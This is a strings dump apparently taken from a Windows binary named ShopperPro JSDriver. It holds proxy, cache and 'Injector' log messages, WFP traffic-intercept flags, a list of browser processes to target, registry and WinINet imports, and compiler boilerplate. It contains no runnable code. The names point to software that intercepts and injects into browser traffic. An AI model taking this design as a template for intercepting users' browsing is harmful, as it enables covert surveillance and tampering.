[AccelerationLogic::ReportOnStartPlay] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::ReportOnDownloadComplete] FDM=%d (3G: %d)

[AccelerationLogic::IsResponseRangeBiggerThenMaster] FDM=%d ___Warning - Range >= Master (%lld >= %lld)

[AccelerationLogic::IsToIncreaseWorkers] FDM=%d - Increased connections to: %d (%d)

[AccelerationLogic::SetPlayRate] FDM=%d - Play Rate: %d

[AccelerationLogic::UpdateBytesDownloaded] FDM=%d, Job:%d (3G: %d) - BytesDownloaded: %lld, TotalBytesDownloaded: %lld (%lld   %lld)

[AccelerationLogic::CalculateNextRangeSize] PlayTimeLeft %d

[AccelerationLogic::CalculateNextRangeSize] WorkerBps %d

[AccelerationLogic::CalculateNextRangeSize] nPlayTime %d

[AccelerationLogic::CalculateAverageWorkerBPS] FDM=%d - Total Average BPS: %d, Worker Average BPS: %d (%d/%d)

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Rule Domain Name: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - Using generic rule

AppleWebKit

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Warning - No Rule for Domain: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d - Look for rule using - Host: %s, ContentType: %s

[AccelerationLogic::UpdateRedirectDomainRule] FDM=%d ___Error getting IAccelerationConfiguration

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s is not %s

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d *** Acceleration is not supported by the server ***. The field %s was not found.

[AccelerationLogic::IsResponseRangeMatchRequestRange] FDM=%d ___Error GetRequestRangeLocation failed.

AccelerationLogic::AccelerateIsSupported

[AccelerationLogic::ReportOnRequestFinished] FDM=%d, Job:%d (3G: %d)

[AccelerationLogic::UpdateFileContentType] FDM=%d - ContentType: %s

[AccelerationLogic::UpdateRequestURI] FDM=%d - URI: %s

[AccelerationLogic::UpdateFileHost] FDM=%d - Host: %s

[AccelerationLogic::UpdateFileContentDisposition] FDM=%d - Content-Disposition: %s

[AccelerationLogic::UpdateUserAgent] FDM=%d - User-Agent: %s, Download: %d

NonSupportRangeServersList

[AccelerationLogic::IsResponseCodeValid] *** Acceleration is not supported by the server ***. The response code %s is not %s

[AccelerationLogic::CreateAnyRule] FDM=%d

[AccelerationLogic::FileShouldBeAccelerated] DailyMotion seek not supported

[AccelerationLogic::IsOurConnection] FDM=%d *** Acceleration is not allowed ***. Module: %s

[AccelerationLogic::Reset] FDM=%d

[~AccelerationLogic - %p] FDM=%d - ... Leave

[~AccelerationLogic - %p] FDM=%d - Enter ...

[AccelerationLogic::UpdateAverageBPS] FDM=%d, Job:%d (3G: %d) - %d

[CHttpCacheData::FreeBuffers] CD:%d, FDM=%d - Releasing %lld bytes

[CHttpCacheData::SetCacheLimit] CD:%d, FDM=%d - %lld --> %lld

[CHttpCacheData::Write - ICacheWriter] CD:%d, FDM=%d - Written: %d (%lld) bytes

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d - Cache is orphan & has incomplete http header

[CHttpCacheData::SetOwnerCacheManager] CD:%d, FDM=%d

[CHttpCacheData::GetRanges] CD:%d, FDM=%d - Ranges: %lld-%lld

[CHttpCacheData::SetActive] CD:%d, FDM=%d, Active: %d -> %d

[CHttpCacheData::SetComplete] CD:%d, FDM=%d, Complete: %d -> %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - No Match! %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - *** Match - Ignore ranges (Code: %d) *** %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld, HeaderBytesInCache: %d

[CHttpCacheData::IsMatch] CD:%d, FDM=%d - Cookie No Match! (Code: %d) %lld-%lld (%lld-%lld), DataBytesInCache: %lld/%lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Finish writing %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d (%lld/%lld) bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Writen %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write new %d bytes - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write cached %d bytes, from offset %lld - to CacheWorker: %p

[CHttpCacheData::Write] CD:%d, FDM=%d - GetTotalBytesWritten: %lld, BytesInBuffer: %lld, RANGE_START_POSITION: %lld, nDataBytesWritten: %lld

[CHttpCacheData::Write] CD:%d, FDM=%d - Appended %d bytes

[CHttpCacheData::Write] CD:%d, FDM=%d - Cache size: %d

[CHttpCacheData::Write] CD:%d, FDM=%d - Going to write %d bytes

[CHttpCacheData::AddCacheWorker] CD:%d, FDM=%d

[CHttpCacheData] CD:%d, Url: %s

[~CHttpCacheData] CD:%d

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d - Try to stop the owner caching FDM...

[CHttpCacheData::RemoveCacheWorker] CD:%d, FDM=%d

[CHttpCacheData::DumpBufferToLogFile] CD:%d, FDM=%d

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes, from offset %lld (DATA)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Written %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Going to write %d bytes (HEADER)

[CHttpCacheData::FlushDataToCacheWorker] CD:%d, FDM=%d - Range: %lld-%lld

[CacheWorker::SetSize - %p] Cache size: %d

[CacheWorker::SetStatus - %p] WORKER_STATUS_FINISHED (%d) - job:%d

[CacheWorker::SetEncryptionKey - %p] Key: %p

[CacheWorker::AppendToCache - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::AppendToCache - %p] Bytes in buffer: %d

[CacheWorker::WriteToCacheWriter - %p] BytesWritten: %d, TotalBytesWritten: %lld, HeaderBytesDownloaded: %lld, DataBytesDownloaded: %lld

[CacheWorker::WriteToCacheWriter - %p] CacheData - Written %d bytes

[CacheWorker::WriteToCacheWriter - %p] CacheData - Going to write %d bytes

[CacheWorker::Write - %p] *** Finished to download & write job:%d ***

[CacheWorker::Write - %p] Appending: %d bytes, Total Appended: %d

[CacheWorker::Write - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] Before writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::Write - %p] ___Warning already finished job:%d

[CacheWorker::Write - %p] Bytes in buffer: %d

[CacheWorker::WriteBufferFromCache - %p] *** Finished to download & write job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) failed to download for a lot of time.

[CacheWorker::WriteBufferFromCache - %p] After writing %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] Going to write %d bytes from job %d (Range: %lld - %lld) to peer %p.

[CacheWorker::WriteBufferFromCache - %p] *** Worker Idle - Finished job:%d ***

[CacheWorker::WriteBufferFromCache - %p] ___Error job %d (Range: %lld - %lld) - Worker Idle - failed to download for a lot of time.

f:\dd\vctools\crt_bld\self_x86\crt\src\locale0.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xmutex.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\locale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocnum

f:\dd\vctools\crt_bld\self_x86\crt\src\_tolower.c

f:\dd\vctools\crt_bld\self_x86\crt\src\xmbtowc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xloctime

f:\dd\vctools\crt_bld\self_x86\crt\src\locale

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmes

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocmon

%d / %m / %y

%I : %M : %S %p

%m / %d / %y

%b %d %H : %M : %S %Y

f:\dd\vctools\crt_bld\self_x86\crt\src\xlocale.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\xwcsxfrm.c

f:\dd\vctools\crt_bld\self_x86\crt\src\onexit.c

Client hook allocation failure at file %hs line %d.

Memory allocated at %hs(%d).

Client hook re-allocation failure at file %hs line %d.

HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory after end of heap buffer.

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.

CRT detected that the application wrote to memory before start of heap buffer.

CRT detected that the application wrote to a heap buffer that was freed.

crt block at 0x%p, subtype %x, %Iu bytes long.

client block at 0x%p, subtype %x, %Iu bytes long.

%hs(%d) :

#File Error#(%d) :

Data: <%s> %s

f:\dd\vctools\crt_bld\self_x86\crt\src\initctyp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strerror.c

Visual C   CRT: Not enough memory to complete call to strerror.

f:\dd\vctools\crt_bld\self_x86\crt\src\setlocal.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strftime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\inithelp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mlock.c

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c

_CrtDbgReport: String too long or IO Error

Debug %s!

Program: %s%s%s%s%s%s%s%s%s%s%s%s

f:\dd\vctools\crt_bld\self_x86\crt\src\mbctype.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tidtable.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_file.c

f:\dd\vctools\crt_bld\self_x86\crt\src\_sftbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stream.c

f:\dd\vctools\crt_bld\self_x86\crt\src\read.c

%s(%d) : %s

_CrtDbgReport: String too long or Invalid characters in String

GetProcessWindowStation

f:\dd\vctools\crt_bld\self_x86\crt\src\stdenvp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stdargv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\a_env.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ioinit.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tzset.c

f:\dd\vctools\crt_bld\self_x86\crt\src\input.c

f:\dd\vctools\crt_bld\self_x86\crt\src\drive.c

Broken pipe

Inappropriate I/O control operation

Operation not permitted

f:\dd\vctools\crt_bld\self_x86\crt\src\inittime.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initnum.c

f:\dd\vctools\crt_bld\self_x86\crt\src\initmon.c

portuguese-brazilian

operator

f:\dd\vctools\crt_bld\self_x86\crt\src\_getbuf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\osfinfo.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wtombenv.c

f:\dd\vctools\crt_bld\self_x86\crt\src\setenv.c

ICACLS.EXE

SOFTWARE\%s

Global\%s_CONFIG_XML

HKEY_DYN_DATA

HKEY_CURRENT_CONFIG

HKEY_PERFORMANCE_DATA

HKEY_USERS

HKEY_LOCAL_MACHINE

HKEY_CURRENT_USER

HKEY_CLASSES_ROOT

Injector dump %s: %s

inj_rem remain %d

inj_loc remain %d

%s PutChunk send %d bytes to server

%s PutChunk send %d bytes to client

%s close pRemoteInj

%s close pLocalInj

New EmuSession flow %lld, now %d

Injector: Flow %lld, create session %X

Injector: Flow %lld, FDM=%d (%d)

%s ConnectedToVA, pLocalInj %p, pLocalVA %p

Delete EmuSession flow %lld, remain %d, chunks %d

%s delete Session %X

%s HandleChunk FWPS_STREAM_FLAG_SEND len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE len %d

%s HandleChunk FWPS_STREAM_FLAG_RECEIVE_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_SEND_DISCONNECT

%s HandleChunk FWPS_STREAM_FLAG_ABORT

Injector: FDM=%d (%d)

%s ConnectToInj, Session not found pLocalVA %X

%s ConnectToInj

Cleanup %s

allports

iexplore.exe firefox.exe chrome.exe opera.exe webkit2webprocess.exe navigator.exe torch.exe u.exe epic.exe browser.exe maxthon.exe sbrender.exe vantvw.exe dragon.exe

[Stproxy]: open driver HANDLE %p, err %d

jsdriver: LoadConfig: error parsing Config.json

parsing Config.json

IOCTL_ENABLE_INTERCEPT res %d

SetThreadPriority %d

error %d

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocale

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xiosbase

0123456789.eE-

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xutility

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\streambuf

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\xlocnum

Windows NT 6.1

%s?e=%s

zvl=%s&

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Content-Type: multipart/form-data; boundary=%s

HTTP/1.1

XXX

Software\Microsoft\Windows\CurrentVersion\Internet Settings

%s\%s

C:\Builds\Build_ShopperProMulti\JSDriver\1.42.0.0\JsDriver\Release\jsdrv.pdb

WSAJoinLeaf

WS2_32.dll

VERSION.dll

USERENV.dll

HttpQueryInfoA

InternetOpenUrlA

InternetCrackUrlA

HttpSendRequestA

HttpAddRequestHeadersA

HttpOpenRequestA

HttpSendRequestExA

HttpEndRequestA

WININET.dll

GetProcessHeap

GetCPInfo

PeekNamedPipe

KERNEL32.dll

MsgWaitForMultipleObjectsEx

CloseWindowStation

SetProcessWindowStation

OpenWindowStationA

USER32.dll

RegNotifyChangeKeyValue

RegOpenKeyExA

RegCloseKey

RegCreateKeyExA

RegDeleteKeyA

RegOpenKeyA

RegEnumKeyA

RegEnumKeyExA

RegQueryInfoKeyA

ADVAPI32.dll

ShellExecuteA

SHELL32.dll

.?AVIPipeEventsThread@@

.?AVCPipeEventThread@@

.?AVSaveWatchUrl@@

.?AVIHttpEngineConfiguration@@

.?AV?$CBaseInterface@VHttpEngineConfiguration@@VIHttpEngineConfiguration@@@@

.?AVHttpEngineConfiguration@@

.?AV?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AVCEventsList@?$CAsyncServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

.?AV?$CAsyncUdpSocketServer@VCDnsProxyServer@@VCAsyncUdpSocket@@@@

HTTP://

.?AV?$IMultiBaseInterface@VIPipeEventThreadManagerFactory@@@@

.?AVIPipeEventThreadManagerFactory@@

.?AV?$CMultiBaseInterface@VCPipeEventThreadManagerFactory@@VIPipeEventThreadManagerFactory@@@@

.?AVCPipeEventThreadManagerFactory@@

.?AVCAsyncUdpSocket@@

.?AVCExecuteUpdate@@

..\Common\Base64.cpp

..\Common\Base64MultiBytes.cpp

<>"#%{}|\^~[]`' ?&

<>"#{}|\^~[]`' ?&

.?AVIHttpProxyWorker@@

.?AV?$IBaseInterface@VIInjHttpProxyServer@@@@

.?AVIInjHttpProxyServer@@

.?AV?$CBaseInterface@VInjHttpProxyServer@@VIInjHttpProxyServer@@@@

.?AV?$IBaseInterface@VIHttpProxyServer@@@@

.?AVIHttpProxyServer@@

.?AVInjHttpProxyServer@@

.?AVHttpProxyServer@@

.?AV?$CBaseInterface@VHttpProxyServer@@VIHttpProxyServer@@@@

.?AVIHttpStreamSink@@

.?AVIHttpFileDownloadMgr@@

.?AVInjHttpProxyLocal@@

.?AVHttpProxyLocal@@

.?AVHttpProxyWorker@@

.?AVInjHttpProxyRemote@@

.?AVHttpProxyRemote@@

.?AVHttpParser@@

VA_SUBJECT_FMD_%d_WORKER_CREATED

VA_SUBJECT_FMD_%d_RANGE_CREATED

VA_SUBJECT_FMD_%d

VA_SUBJECT_FMD_%d_WORKER_%d

.?AVHttpCookie@@

.?AVHttpCookieJar@@

.?AV?$IBaseInterface@VIHttpCacheManager@@@@

.?AVIHttpCacheManager@@

.?AV?$CBaseInterface@VCHttpCacheManager@@VIHttpCacheManager@@@@

.?AVCHttpCacheManager@@

.?AVCProxyServerPassThrough@@

.?AVCHttpCacheData@@

zcÁ

.?AVCHttpAsync@@

.?AVCHttp@@

1.0.1.4

3.1.9318.1785

%Program Files% (x86)\ShopperPro\JSDriver\1.42.0.1785\jsdrv.exe

<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>

2 2(2.242|2

<(<6<&?8?

;#<-<:<@<

6m6I6

2/2X2

5"535`6 7

1(1-121x1}1

y0~0 1%1U1Z1

99N9X9h9v9

6f6F6X6

7#767;7|7

0 1*131?1

<0=5=->2>

0%0U0Z0

3'41464;4}4

70858:8?8

>4?9?>?\?

969;9@9/:

3(4:4`498@8#:*:

7(>,>0>4>8><>

9 9$9(9,9094989<9

= =$=(=,=0=4=

;/;6;=;`;

? ?$?(?,?0?4?8?<?@?

9#:(:-:2:

9!9@9_9~9

2/2T2f2n2

77T7f7n7

0$0(0,0004080

6 6$6(64686

4 4$4(4,4044484<4@4

0 0$0(0,00040

4 4$4(4,4044484

7 7$7(7,7074787<7@7

,0004080<0

; ;$;(;,;0;4;8;

2 2$2(2,20242

3 3$3(3,3034383<3

5 5$5(5,505

= =(=,=0=4=

2,282\2|2

=$=,=8=\=|=

5$5,585\5|5

=,=8=\=|=

1(141<1\1

:$:,:8:\:|:

2 2$2(2,2024282`2

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,void *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,void *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator ==

std::_String_const_iterator<char,struct std::char_traits<char>,class std::allocator<char> >::operator --

dstd::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator *

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator ==

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator

std::_List_const_iterator<class std::_List_val<class CImpersonateThread::CCreateProcessItem,class std::allocator<class CImpersonateThread::CCreateProcessItem> > >::operator *

std::_List_const_iterator<class std::_List_val<void *,class std::allocator<void *> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<struct _WSAPROTOCOL_INFOW,class std::allocator<struct _WSAPROTOCOL_INFOW> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class EVENT_ENTRY,class std::allocator<class EVENT_ENTRY> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class EVENT_ENTRY,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class EVENT_ENTRY> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,unsigned long,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,unsigned long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator

std::_List_const_iterator<class std::_List_val<class CCommandsQueueItem *,class std::allocator<class CCommandsQueueItem *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator ==

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_Vector_const_iterator<class std::_Vector_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<struct _FILTER_CONN_INFO,class std::allocator<struct _FILTER_CONN_INFO> > >::operator *

std::_List_const_iterator<class std::_List_val<struct _RedirectDomainRuleDetails *,class std::allocator<struct _RedirectDomainRuleDetails *> > >::operator *

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator ==

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<char *,class std::allocator<char *> > >::operator *

std::_List_const_iterator<class std::_List_val<unsigned long,class std::allocator<unsigned long> > >::operator *

std::_List_const_iterator<class std::_List_val<class ISocket *,class std::allocator<class ISocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class ISocket *,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *,struct std::less<class ISocket *>,class std::allocator<struct std::pair<class ISocket * const,class CAsyncServer<class CDnsProxyServer,class CAsyncUdpSocket>::CEventsList *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<void *,class ISocket *,struct std::less<void *>,class std::allocator<struct std::pair<void * const,class ISocket *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *,class NoCaseStringCmp,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > > *> >,0> > >::operator ==

